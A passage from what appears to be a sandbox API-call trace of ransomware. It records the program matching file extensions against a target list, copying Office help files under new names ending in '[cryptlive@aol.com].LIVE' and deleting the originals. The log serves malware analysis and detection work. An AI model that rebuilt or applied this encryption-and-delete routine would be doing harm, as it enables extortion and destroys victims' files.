(lpString1=".bz2", lpString2=".DLL") returned -1 [0144.993] lstrlenW (lpString=".7z") returned 3 [0144.994] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString=".dbf") returned 4 [0144.994] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString=".1cd") returned 4 [0144.994] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString=".jpg") returned 4 [0144.994] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString=".doc") returned 4 [0144.994] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString=".docx") returned 5 [0144.994] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0144.994] lstrlenW (lpString=".pdf") returned 4 [0144.994] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString=".xls") returned 4 [0144.994] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString=".xlsx") returned 5 [0144.994] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0144.994] lstrlenW (lpString=".ppt") returned 4 [0144.994] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString=".zip") returned 4 [0144.994] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString=".rar") returned 4 [0144.994] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.994] lstrlenW (lpString=".bz2") returned 4 [0144.994] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.994] lstrlenW (lpString=".7z") returned 3 [0144.994] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.994] lstrlenW (lpString=".dbf") returned 4 [0144.994] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.995] lstrlenW (lpString=".1cd") returned 4 [0144.995] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.995] lstrlenW (lpString=".jpg") returned 4 [0144.995] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.995] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0144.995] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0144.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0144.996] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5042788) returned 1 [0144.996] CloseHandle (hObject=0x3d0) returned 1 [0144.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs")) returned 0x20 [0144.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0144.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.996] lstrlenW (lpString=".doc") returned 4 [0144.996] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.996] lstrlenW (lpString=".docx") returned 5 [0144.996] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0144.996] lstrlenW (lpString=".pdf") returned 4 [0144.996] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.996] lstrlenW (lpString=".xls") returned 4 [0144.996] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.996] lstrlenW (lpString=".xlsx") returned 5 [0144.996] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0144.996] lstrlenW (lpString=".ppt") returned 4 [0144.996] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.996] lstrlenW (lpString=".zip") returned 4 [0144.997] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.997] lstrlenW (lpString=".rar") returned 4 [0144.997] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.997] lstrlenW (lpString=".bz2") returned 4 [0144.997] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.997] lstrlenW (lpString=".7z") returned 3 [0144.997] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.997] lstrlenW (lpString=".dbf") returned 4 [0144.997] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.997] lstrlenW (lpString=".1cd") returned 4 [0144.997] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.997] lstrlenW (lpString=".jpg") returned 4 [0144.997] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.997] lstrlenW (lpString=".doc") returned 4 [0144.997] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.997] lstrlenW (lpString=".docx") returned 5 [0144.998] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0144.998] lstrlenW (lpString=".pdf") returned 4 [0144.998] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.998] lstrlenW (lpString=".xls") returned 4 [0144.998] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.998] lstrlenW (lpString=".xlsx") returned 5 [0144.998] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0144.998] lstrlenW (lpString=".ppt") returned 4 [0144.998] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.998] lstrlenW (lpString=".zip") returned 4 [0144.998] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.998] lstrlenW (lpString=".rar") returned 4 [0144.998] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.998] lstrlenW (lpString=".bz2") returned 4 [0144.998] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.998] lstrlenW (lpString=".7z") returned 3 [0144.998] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.998] lstrlenW (lpString=".dbf") returned 4 [0144.998] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.998] lstrlenW (lpString=".1cd") returned 4 [0144.998] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0144.998] lstrlenW (lpString=".jpg") returned 4 [0144.998] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.998] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0144.998] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0144.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0144.999] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=656) returned 1 [0144.999] CloseHandle (hObject=0x3d0) returned 1 [0144.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 0x20 [0144.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0144.999] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.000] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.000] GetLastError () returned 0x0 [0145.000] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x290, lpOverlapped=0x0) returned 1 [0145.002] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0145.003] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.003] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0145.003] SetEndOfFile (hFile=0x3ac) returned 1 [0145.003] CloseHandle (hObject=0x3ac) returned 1 [0145.004] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.004] SetEndOfFile (hFile=0x3d0) returned 1 [0145.006] CloseHandle (hObject=0x3d0) returned 1 [0145.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 1 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString=".doc") returned 4 [0145.007] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0145.007] lstrlenW (lpString=".docx") returned 5 [0145.007] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0145.007] lstrlenW (lpString=".pdf") returned 4 [0145.007] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0145.007] lstrlenW (lpString=".xls") returned 4 [0145.007] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0145.007] lstrlenW (lpString=".xlsx") returned 5 [0145.007] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0145.007] lstrlenW (lpString=".ppt") returned 4 [0145.007] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString=".zip") returned 4 [0145.007] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0145.007] lstrlenW (lpString=".rar") returned 4 [0145.007] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0145.007] lstrlenW (lpString=".bz2") returned 4 [0145.007] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0145.007] lstrlenW (lpString=".7z") returned 3 [0145.007] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString=".dbf") returned 4 [0145.007] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString=".1cd") returned 4 [0145.007] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString=".jpg") returned 4 [0145.007] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.007] lstrlenW (lpString=".doc") returned 4 [0145.008] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0145.008] lstrlenW (lpString=".docx") returned 5 [0145.008] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0145.008] lstrlenW (lpString=".pdf") returned 4 [0145.008] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0145.008] lstrlenW (lpString=".xls") returned 4 [0145.008] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0145.008] lstrlenW (lpString=".xlsx") returned 5 [0145.008] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0145.008] lstrlenW (lpString=".ppt") returned 4 [0145.008] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0145.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.008] lstrlenW (lpString=".zip") returned 4 [0145.008] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0145.008] lstrlenW (lpString=".rar") returned 4 [0145.008] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0145.008] lstrlenW (lpString=".bz2") returned 4 [0145.008] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0145.008] lstrlenW (lpString=".7z") returned 3 [0145.008] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0145.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.008] lstrlenW (lpString=".dbf") returned 4 [0145.008] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0145.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.008] lstrlenW (lpString=".1cd") returned 4 [0145.008] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0145.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0145.008] lstrlenW (lpString=".jpg") returned 4 [0145.008] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0145.008] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0145.008] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0145.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.009] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=212) returned 1 [0145.009] CloseHandle (hObject=0x3d0) returned 1 [0145.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 0x20 [0145.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.009] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.010] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.010] GetLastError () returned 0x0 [0145.010] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xd4, lpOverlapped=0x0) returned 1 [0145.013] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0145.014] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.014] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0145.014] SetEndOfFile (hFile=0x3ac) returned 1 [0145.014] CloseHandle (hObject=0x3ac) returned 1 [0145.014] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.014] SetEndOfFile (hFile=0x3d0) returned 1 [0145.017] CloseHandle (hObject=0x3d0) returned 1 [0145.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 1 [0145.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.017] lstrlenW (lpString=".doc") returned 4 [0145.018] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0145.018] lstrlenW (lpString=".docx") returned 5 [0145.018] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0145.018] lstrlenW (lpString=".pdf") returned 4 [0145.018] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0145.018] lstrlenW (lpString=".xls") returned 4 [0145.018] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0145.018] lstrlenW (lpString=".xlsx") returned 5 [0145.018] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0145.018] lstrlenW (lpString=".ppt") returned 4 [0145.018] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0145.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.018] lstrlenW (lpString=".zip") returned 4 [0145.018] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0145.018] lstrlenW (lpString=".rar") returned 4 [0145.018] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0145.018] lstrlenW (lpString=".bz2") returned 4 [0145.018] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0145.018] lstrlenW (lpString=".7z") returned 3 [0145.018] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0145.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.018] lstrlenW (lpString=".dbf") returned 4 [0145.018] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0145.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.018] lstrlenW (lpString=".1cd") returned 4 [0145.018] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0145.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.018] lstrlenW (lpString=".jpg") returned 4 [0145.018] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0145.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.018] lstrlenW (lpString=".doc") returned 4 [0145.018] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0145.018] lstrlenW (lpString=".docx") returned 5 [0145.019] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0145.019] lstrlenW (lpString=".pdf") returned 4 [0145.019] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0145.019] lstrlenW (lpString=".xls") returned 4 [0145.019] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0145.019] lstrlenW (lpString=".xlsx") returned 5 [0145.019] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0145.019] lstrlenW (lpString=".ppt") returned 4 [0145.019] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0145.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.019] lstrlenW (lpString=".zip") returned 4 [0145.019] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0145.019] lstrlenW (lpString=".rar") returned 4 [0145.019] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0145.019] lstrlenW (lpString=".bz2") returned 4 [0145.019] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0145.019] lstrlenW (lpString=".7z") returned 3 [0145.019] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0145.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.019] lstrlenW (lpString=".dbf") returned 4 [0145.019] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0145.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.019] lstrlenW (lpString=".1cd") returned 4 [0145.019] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0145.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0145.019] lstrlenW (lpString=".jpg") returned 4 [0145.019] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0145.019] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0145.019] 